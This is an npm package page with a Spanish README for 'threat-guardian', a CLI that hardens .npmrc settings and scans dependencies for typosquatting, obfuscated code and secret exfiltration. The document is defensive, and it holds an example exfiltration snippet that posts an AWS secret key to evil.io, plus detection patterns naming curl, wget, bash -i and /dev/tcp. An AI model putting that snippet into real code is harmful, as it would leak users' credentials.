threat-guardian

v1.0.0

Published

2 months ago

Sistema de seguridad corporativo para npm: análisis profundo de amenazas, instalación con lockfile congelado, detección de typosquatting, ofuscación y filtración de variables de entorno.

threat-guardian

Sistema de seguridad corporativo para npm y gestores de paquetes compatibles (pnpm, yarn, bun).

Analiza amenazas en el código fuente de dependencias instaladas, aplica configuraciones de seguridad estrictas en .npmrc, detecta typosquatting, ofuscación, filtración de variables de entorno e instalaciones peligrosas — todo desde la línea de comandos.

Tabla de contenidos

Instalación

npm install -g threat-guardian

O de forma local en tu proyecto:

npm install --save-dev threat-guardian

Comandos

`setup`

Aplica todas las reglas de seguridad recomendadas en el archivo ~/.npmrc global.

threat-guardian setup

Escribe (o actualiza) las siguientes claves en ~/.npmrc:

ignore-scripts=true — bloquea scripts de instalación automáticos
save-exact=true — fija versiones exactas al instalar
audit-level=high — falla auditorías en severidad alta
strict-ssl=true — rechaza certificados SSL inválidos
fund=false — suprime mensajes de financiación
engine-strict=true — respeta el campo engines del package.json
minimum-release-age=10080 — solo permite paquetes publicados hace más de 7 días
block-exotic-subdeps=true — bloquea dependencias desde URLs externas (git, tarball)
trust-policy=no-downgrade — impide instalar paquetes con menor nivel de confianza
node-options=--permission — activa el modelo de permisos de Node.js

`scan`

Escanea el package.json del proyecto en busca de amenazas básicas.

threat-guardian scan
threat-guardian scan --path /ruta/al/proyecto

Opciones:

| Opción | Descripción | Por defecto | |--------|-------------|-------------| | -p, --path <ruta> | Ruta al directorio del proyecto | . |

Detecta:

Scripts sospechosos — curl, wget, bash -i, powershell, eval, /dev/tcp, etc.
Typosquatting — nombres similares a paquetes populares mediante distancia de Levenshtein ≤ 2.
Versiones dinámicas — ^, ~, *, latest en dependencias.

Ejemplo de salida:

🔍 Escaneando dependencias en: /proyecto/package.json...

🚨 RIESGOS CRÍTICOS DETECTADOS:
  - Posible Typosquatting detectado: "expres" se parece a "express"

⚠️  ADVERTENCIAS:
  - Dependencia "lodash" tiene versión dinámica "^4.17.21". Se recomienda versión exacta.

`audit`

Informe completo de seguridad: detecta el gestor de paquetes, valida el lockfile, revisa la configuración .npmrc y advierte sobre versiones no fijadas y scripts de instalación.

threat-guardian audit
threat-guardian audit --path /ruta/al/proyecto
threat-guardian audit --apply

Opciones:

| Opción | Descripción | |--------|-------------| | -p, --path <ruta> | Ruta al directorio del proyecto | | --apply | Aplica automáticamente la configuración de seguridad si faltan ajustes |

Secciones del informe:

Package Manager — detecta pnpm (pnpm-lock.yaml), yarn (yarn.lock), npm (package-lock.json) o bun (bun.lockb) y valida el lockfile buscando URLs sospechosas.
Configuración de Seguridad (.npmrc) — muestra el estado de cada ajuste. Los no configurados aparecen marcados como [NEW].
package.json — verifica versiones fijadas y existencia del campo engines.
Scripts de Instalación — lista paquetes con preinstall, install o postinstall bloqueados por ignore-scripts=true.

Ejemplo de salida:

🛡️  NPM Guardian — Informe de Seguridad
   Proyecto: /mi-proyecto

📦 Package Manager
  ✓ pnpm detectado (pnpm-lock.yaml)
  ✓ Lockfile presente y validado
  ✓ Sin URLs sospechosas en el lockfile

🔒 Configuración de Seguridad (.npmrc)
  ✓ ignore-scripts = true
  ✓ save-exact = true
  ✓ minimum-release-age = 10080 [NEW]
  ✓ block-exotic-subdeps = true  [NEW]
  ✓ trust-policy = no-downgrade  [NEW]
  ✓ node-options = --permission  [NEW]

📋 package.json
  ✓ Todas las versiones están fijadas (pinned)
  ⚠ No se encontró el campo "engines" en package.json

⚙️  Scripts de Instalación
  ⚠ 1 paquete(s) con scripts de instalación:
      - sharp
    (bloqueados por ignore-scripts=true)

`secure-install`

Comando principal de seguridad. Ejecuta la instalación con lockfile congelado y realiza un análisis profundo de amenazas en el contenido real de los archivos JavaScript de cada paquete instalado.

threat-guardian secure-install
threat-guardian secure-install --path /ruta/al/proyecto
threat-guardian secure-install --skip-install
threat-guardian secure-install --no-deep-scan

Opciones:

| Opción | Descripción | |--------|-------------| | -p, --path <ruta> | Ruta al directorio del proyecto | | --skip-install | Omite la fase de instalación y solo ejecuta el análisis de amenazas | | --no-deep-scan | Omite el análisis profundo y solo realiza la instalación |

Fase 1 — Instalación con lockfile congelado:

Detecta automáticamente el gestor de paquetes y usa el comando apropiado:

| Gestor | Comando ejecutado | |--------|-------------------| | pnpm | pnpm install --frozen-lockfile | | yarn | yarn install --frozen-lockfile | | npm | npm ci | | bun | bun install --frozen-lockfile |

El modo --frozen-lockfile garantiza que no se resuelven nuevas dependencias, el lockfile no se modifica, y la instalación falla si el lockfile no está sincronizado con package.json.

Fase 2 — Análisis profundo de amenazas:

Escanea el código fuente JavaScript (.js, .mjs, .cjs) de cada paquete en node_modules con tres detectores:

| Severidad | Tipo | Descripción | |-----------|------|-------------| | HIGH | Red + variables de entorno | Llamadas de red junto a process.env en el mismo bloque de código. Indica posible filtración de secretos. | | MEDIUM | Cadenas hexadecimales largas | Literales de 80+ chars hex, secuencias \x## masivas o eval(atob(…)). Indica código ofuscado. | | LOW | Muchas dependencias directas | 30 o más dependencias directas. Superficie de ataque ampliada. |

También detecta paquetes que requieren reconstrucción (pnpm rebuild <pkg>) porque tienen addons nativos instalados con --ignore-scripts.

Ejemplo de salida:

🛡️  NPM Guardian — Instalación Segura

📦 Instalando dependencias
   Comando: pnpm install --frozen-lockfile

  ✓ Lockfile actualizado (sin cambios)
  ✓ Sin nuevas resoluciones de dependencias
  ✓ Todo está al día
  Completado en 259ms

🔍 Análisis de seguridad en curso...
  Analizados: 1807 archivos en 35 paquetes

🚨 Amenazas detectadas (5):
   2 alta(s) · 2 media(s) · 1 baja(s)

   HIGH    @auth/core
  └─ Solicitudes de red con datos del entorno (posible filtración)
     Archivo: @auth/core/dist/index.js
     process.env + red detectados (process.env.AUTH_SECRET, process.env.NEXTAUTH_URL)

   MEDIUM  prettier
  └─ Cadenas hexadecimales largas detectadas (posible código ofuscado)
     Archivo: prettier/src/doc-explorer.js
     Cadena hexadecimal larga detectada (≥80 chars)

   LOW     astro
  └─ Paquete con muchas dependencias directas (55)
     55 dependencias directas — superficie de ataque ampliada

🔧 Reconstrucción necesaria:
  ⚠ sharp requiere reconstrucción (scripts de instalación deshabilitados)
     Ejecuta: pnpm rebuild sharp

─────────────────────────────────────────────
  Archivos escaneados:   1807
  Paquetes revisados:    35
  Amenazas encontradas:  5 (2 altas · 2 medias · 1 baja)
  Tiempo total:          442ms

`install`

Wrapper seguro de npm install. Verifica la configuración global, escanea el package.json antes de instalar y ejecuta npm install con las banderas --ignore-scripts --audit --save-exact.

threat-guardian install
threat-guardian install express lodash

Tipos de amenazas detectadas

HIGH — Solicitudes de red con datos del entorno

Detecta archivos que combinan llamadas de red (fetch, axios, http, https, got, XMLHttpRequest) con acceso a process.env en una ventana de 20 líneas de código.

Un paquete malicioso puede exfiltrar secretos (tokens de API, credenciales, claves privadas) hacia servidores externos durante la instalación o en tiempo de ejecución.

// Ejemplo de código malicioso detectado:
fetch('https://evil.io/collect', {
  method: 'POST',
  body: JSON.stringify({ token: process.env.AWS_SECRET_ACCESS_KEY })
});

MEDIUM — Código ofuscado (cadenas hexadecimales largas)

Detecta:

Literales de string con 80+ caracteres hexadecimales consecutivos.
Secuencias \x41\x42\x43… de 40+ escapes.
Patrones eval(atob(…)) o eval(unescape(…)).
Buffer.from('…cadena base64 larga…', 'base64').

La ofuscación mediante codificación hexadecimal o base64 es una técnica habitual para ocultar payloads maliciosos que evaden análisis superficiales de código.

LOW — Paquete con muchas dependencias directas

Detecta paquetes con 30 o más dependencias directas declaradas en su package.json.

Cada dependencia adicional es un vector potencial de ataque en la cadena de suministro. Los paquetes con muchas dependencias amplían la superficie de exposición y dificultan la auditoría manual.

Configuración de seguridad (.npmrc)

| Clave | Valor | Efecto | |-------|-------|--------| | ignore-scripts | true | Bloquea la ejecución de scripts preinstall, install y postinstall | | save-exact | true | Guarda versiones exactas al instalar nuevos paquetes | | audit-level | high | Falla npm audit solo ante vulnerabilidades de severidad alta o crítica | | strict-ssl | true | Rechaza certificados SSL no válidos | | fund | false | Suprime los mensajes de financiación | | engine-strict | true | Falla la instalación si Node.js no cumple el campo engines | | minimum-release-age | 10080 | Solo instala paquetes publicados hace más de 7 días (10 080 minutos) | | block-exotic-subdeps | true | Bloquea dependencias transitivas desde URLs externas (git, tarball, github:) | | trust-policy | no-downgrade | Impide instalar paquetes con nivel de confianza inferior al existente | | node-options | --permission | Activa el modelo de permisos de Node.js para restringir acceso en tiempo de ejecución |

Requisitos

Node.js >= 18.0.0
npm >= 9.0.0

Compatible con proyectos que usen npm, pnpm, yarn o bun.

Publicar en npm

# 1. Construir el proyecto
npm run build

# 2. Verificar qué archivos se publicarán
npm pack --dry-run

# 3. Iniciar sesión en npm (si no lo has hecho)
npm login

# 4. Publicar
npm publish

El campo "files" en package.json limita la publicación a bin/, dist/, README.md y LICENSE. El código fuente TypeScript (src/) no se incluye.

Estructura del proyecto

threat-guardian/
├── bin/
│   └── guardian.js          # Punto de entrada ejecutable
├── src/
│   ├── cli.ts               # Definición de comandos CLI
│   ├── scanner.ts           # Escáner de package.json y detección de PM
│   ├── rules.ts             # Gestión de configuración .npmrc
│   └── threat-scanner.ts    # Análisis profundo de amenazas en node_modules
├── dist/                    # Código compilado (generado por tsc)
├── package.json
├── tsconfig.json
└── README.md

Licencia

ISC

Published

Vulnerabilities

Links

Maintainers

Keywords

Readme

threat-guardian

Tabla de contenidos

Instalación

Comandos

setup

scan

audit

secure-install

install

Tipos de amenazas detectadas

HIGH — Solicitudes de red con datos del entorno

MEDIUM — Código ofuscado (cadenas hexadecimales largas)

LOW — Paquete con muchas dependencias directas

Configuración de seguridad (.npmrc)

Requisitos

Publicar en npm

Estructura del proyecto

Licencia

`setup`

`scan`

`audit`

`secure-install`

`install`